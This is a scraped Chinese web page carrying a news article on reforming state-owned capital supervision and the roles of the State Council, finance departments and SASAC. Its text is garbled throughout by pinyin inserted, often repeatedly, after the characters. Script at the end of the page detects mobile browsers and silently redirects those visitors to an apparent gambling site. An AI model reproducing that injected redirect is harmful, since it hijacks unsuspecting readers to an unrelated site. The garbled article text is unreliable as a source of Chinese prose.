  国(guo)(guo)务院代表国(guo)(guo)家(jia)行使国(guo)(guo)有(you)资(zi)(zi)(zi)产所有(you)权,负责(ze)(ze)监督指导(dao)国(guo)(guo)资(zi)(zi)(zi)监管(guan)部(bu)门(men)和财政部(bu)门(men)依法履(lv)行国(guo)(guo)有(you)资(zi)(zi)(zi)产监管(guan)管(guan)理职(zhi)能(neng),审核国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)运(yun)营(ying)规划(hua)、国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)经(jing)营(ying)预算(suan),授权国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)履(lv)行出资(zi)(zi)(zi)人(ren)(ren)代表职(zhi)责(ze)(ze),任免国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)主要负责(ze)(ze)人(ren)(ren),考核国(guo)(guo)资(zi)(zi)(zi)监管(guan)部(bu)门(men)、国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)运(yun)营(ying)公(gong)司(si)及其主要负责(ze)(ze)人(ren)(ren)经(jing)营(ying)业绩(ji),定期向全国(guo)(guo)人(ren)(ren)大(da)报告国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)投(tou)(tou)资(zi)(zi)(zi)运(yun)营(ying)和国(guo)(guo)有(you)资(zi)(zi)(zi)本(ben)(ben)(ben)经(jing)营(ying)预算(suan)执行情况。

  财政部(bu)门负(fu)责国有资(zi)(zi)本预(yu)(yu)算(suan)(suan)(suan)政策、预(yu)(yu)算(suan)(suan)(suan)编制(zhi)和(he)预(yu)(yu)算(suan)(suan)(suan)信息(xi)的公开,优(you)化国有资(zi)(zi)本收益分配和(he)投资(zi)(zi)结构,并报国务(wu)院(yuan)和(he)人大(da)审(shen)批,指导国有资(zi)(zi)本投资(zi)(zi)运(yun)营公司(si)编制(zhi)国有资(zi)(zi)本经(jing)(jing)(jing)营预(yu)(yu)算(suan)(suan)(suan),监督预(yu)(yu)算(suan)(suan)(suan)实施,定期(qi)对国有资(zi)(zi)本投资(zi)(zi)运(yun)营公司(si)资(zi)(zi)本预(yu)(yu)算(suan)(suan)(suan)执(zhi)行(xing)情况(kuang)进行(xing)专项(xiang)审(shen)计(ji),定期(qi)向国务(wu)院(yuan)和(he)全国人大(da)报告国有资(zi)(zi)本经(jing)(jing)(jing)营预(yu)(yu)算(suan)(suan)(suan)执(zhi)行(xing)情况(kuang),确保国有资(zi)(zi)本经(jing)(jing)(jing)营预(yu)(yu)算(suan)(suan)(suan)公开、透明(ming)。

  国(guo)(guo)资(zi)(zi)监(jian)管(guan)部门专职履行(xing)国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)监(jian)管(guan)职能,负(fu)(fu)责(ze)起草与制(zhi)(zhi)(zhi)定(ding)国(guo)(guo)有(you)(you)资(zi)(zi)产(chan)监(jian)管(guan)相关法律(lv)、法规(gui)和制(zhi)(zhi)(zhi)度(du),并(bing)进行(xing)相应监(jian)管(guan),制(zhi)(zhi)(zhi)定(ding)国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)运行(xing)规(gui)划(hua)(hua),明确国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)向(xiang)(xiang)和投(tou)(tou)资(zi)(zi)运营(ying)(ying)目(mu)标(biao),报国(guo)(guo)务(wu)院(yuan)批准并(bing)组(zu)织落(luo)实,参(can)与编(bian)制(zhi)(zhi)(zhi)国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)经(jing)营(ying)(ying)预算,准确界定(ding)不同国(guo)(guo)有(you)(you)企业功能,指导国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)运营(ying)(ying)公(gong)司(si)编(bian)制(zhi)(zhi)(zhi)所管(guan)国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)运营(ying)(ying)规(gui)划(hua)(hua),监(jian)督(du)投(tou)(tou)资(zi)(zi)运营(ying)(ying)公(gong)司(si)落(luo)实规(gui)划(hua)(hua),定(ding)期向(xiang)(xiang)国(guo)(guo)务(wu)院(yuan)报告国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)运营(ying)(ying)情况,协助(zhu)国(guo)(guo)务(wu)院(yuan)考核国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)运营(ying)(ying)公(gong)司(si)及(ji)其主要负(fu)(fu)责(ze)人经(jing)营(ying)(ying)业绩,确保国(guo)(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投(tou)(tou)资(zi)(zi)经(jing)营(ying)(ying)服务(wu)于国(guo)(guo)家战略目(mu)标(biao)。

  第二(er)(er),构建(jian)国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)运营平(ping)台。通过设立国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)或运营公(gong)(gong)司(si)(si),搭建(jian)国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)运营平(ping)台和经营管(guan)理平(ping)台,确保实现国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)服(fu)务于国(guo)(guo)(guo)家战(zhan)略的(de)投(tou)资(zi)(zi)(zi)(zi)运营目标。国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)(zi)公(gong)(gong)司(si)(si)、运营公(gong)(gong)司(si)(si)可通过国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)本(ben)布局结构调整(zheng)、国(guo)(guo)(guo)有(you)(you)企业整(zheng)合(he)重组来组建(jian)。代(dai)表各级政(zheng)府履行(xing)出资(zi)(zi)(zi)(zi)人(ren)职责的(de)国(guo)(guo)(guo)有(you)(you)资(zi)(zi)(zi)(zi)产监(jian)督管(guan)理委员会可对(dui)其行(xing)使出资(zi)(zi)(zi)(zi)人(ren)职责的(de)一级集团公(gong)(gong)司(si)(si)及其二(er)(er)级企业依据功(gong)能(neng)类(lei)别进(jin)行(xing)整(zheng)合(he)重组,组建(jian)若(ruo)干个履行(xing)管(guan)资(zi)(zi)(zi)(zi)本(ben)职能(neng)并专门从(cong)事投(tou)资(zi)(zi)(zi)(zi)和资(zi)(zi)(zi)(zi)本(ben)运营的(de)投(tou)资(zi)(zi)(zi)(zi)平(ping)台。

  第(di)三,充分保障(zhang)企(qi)业经营自主(zhu)权。推动政(zheng)府(fu)经济社会(hui)管理职(zhi)能与国有资产监管职(zhi)能分开(kai)。以管资本(ben)为主(zhu)完(wan)善(shan)国有资产管理体制、加(jia)强国有资产监管,必须积(ji)极(ji)转变政(zheng)府(fu)职(zhi)能。

  推动国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)产监(jian)管(guan)职(zhi)(zhi)能与企(qi)业出(chu)(chu)资(zi)(zi)(zi)人(ren)职(zhi)(zhi)能分开(kai)。以管(guan)资(zi)(zi)(zi)本(ben)(ben)为主(zhu)加(jia)强(qiang)国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)产监(jian)管(guan),就要逐步把(ba)国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)产监(jian)管(guan)职(zhi)(zhi)能与国(guo)有(you)(you)(you)(you)企(qi)业出(chu)(chu)资(zi)(zi)(zi)人(ren)职(zhi)(zhi)能分开(kai),国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)产监(jian)管(guan)机构(gou)专注于国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)经(jing)营(ying)战(zhan)略(lve)制定、国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)出(chu)(chu)资(zi)(zi)(zi)人(ren)监(jian)管(guan)和国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)运营(ying)绩(ji)效考核,确保国(guo)有(you)(you)(you)(you)资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营(ying)服务于国(guo)家战(zhan)略(lve)目标。而国(guo)有(you)(you)(you)(you)企(qi)业出(chu)(chu)资(zi)(zi)(zi)人(ren)职(zhi)(zhi)能包括资(zi)(zi)(zi)产收益(yi)、重大决(jue)策(ce)和选择管(guan)理者等(deng),则应完全由授权(quan)的投(tou)(tou)(tou)资(zi)(zi)(zi)机构(gou)、专业化的资(zi)(zi)(zi)本(ben)(ben)投(tou)(tou)(tou)资(zi)(zi)(zi)运营(ying)公(gong)司(si)来承(cheng)担(dan)。

  推动企(qi)业(ye)(ye)出(chu)资(zi)(zi)人(ren)职能与(yu)企(qi)业(ye)(ye)经营管(guan)(guan)理(li)职能分开。国(guo)有(you)(you)资(zi)(zi)本(ben)(ben)投资(zi)(zi)运营公司要准(zhun)确把握(wo)出(chu)资(zi)(zi)人(ren)的(de)(de)职能定位(wei),抓住产权(quan)(quan),下放事权(quan)(quan),依(yi)法保障国(guo)有(you)(you)资(zi)(zi)本(ben)(ben)出(chu)资(zi)(zi)企(qi)业(ye)(ye)的(de)(de)法人(ren)主体地位(wei),尊重企(qi)业(ye)(ye)自主决策权(quan)(quan),遵循企(qi)业(ye)(ye)发(fa)展规律,以(yi)资(zi)(zi)本(ben)(ben)管(guan)(guan)理(li)为纽带,加强企(qi)业(ye)(ye)顶层设(she)计(ji),加强重大事项管(guan)(guan)理(li),重点管(guan)(guan)好战略(lve)规划,优化资(zi)(zi)源配置,完善资(zi)(zi)本(ben)(ben)预(yu)算和(he)公司治(zhi)理(li)。要围绕“资(zi)(zi)本(ben)(ben)、资(zi)(zi)产、资(zi)(zi)金”三个重点,加强国(guo)有(you)(you)资(zi)(zi)本(ben)(ben)出(chu)资(zi)(zi)企(qi)业(ye)(ye)监管(guan)(guan),改善国(guo)有(you)(you)资(zi)(zi)本(ben)(ben)的(de)(de)分布结构和(he)质量效益,实现(xian)国(guo)有(you)(you)资(zi)(zi)本(ben)(ben)的(de)(de)保值增值。(来源:经济(ji)参考报)


网站地图 | 友情链接 | 法律声明 | 联系我们 信访邮箱 帮助中心

电话:+86(10)88083699 传真:+86(10)88084266 E-MAIL:cscecfc@slipsms.com
地址:北京市海淀区三里河路15号中建大厦A座15层 邮编:100037 ICP许可证编号:京ICP备12023645号
推荐显示器分辨率1024*768 IE8.0以上浏览器

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();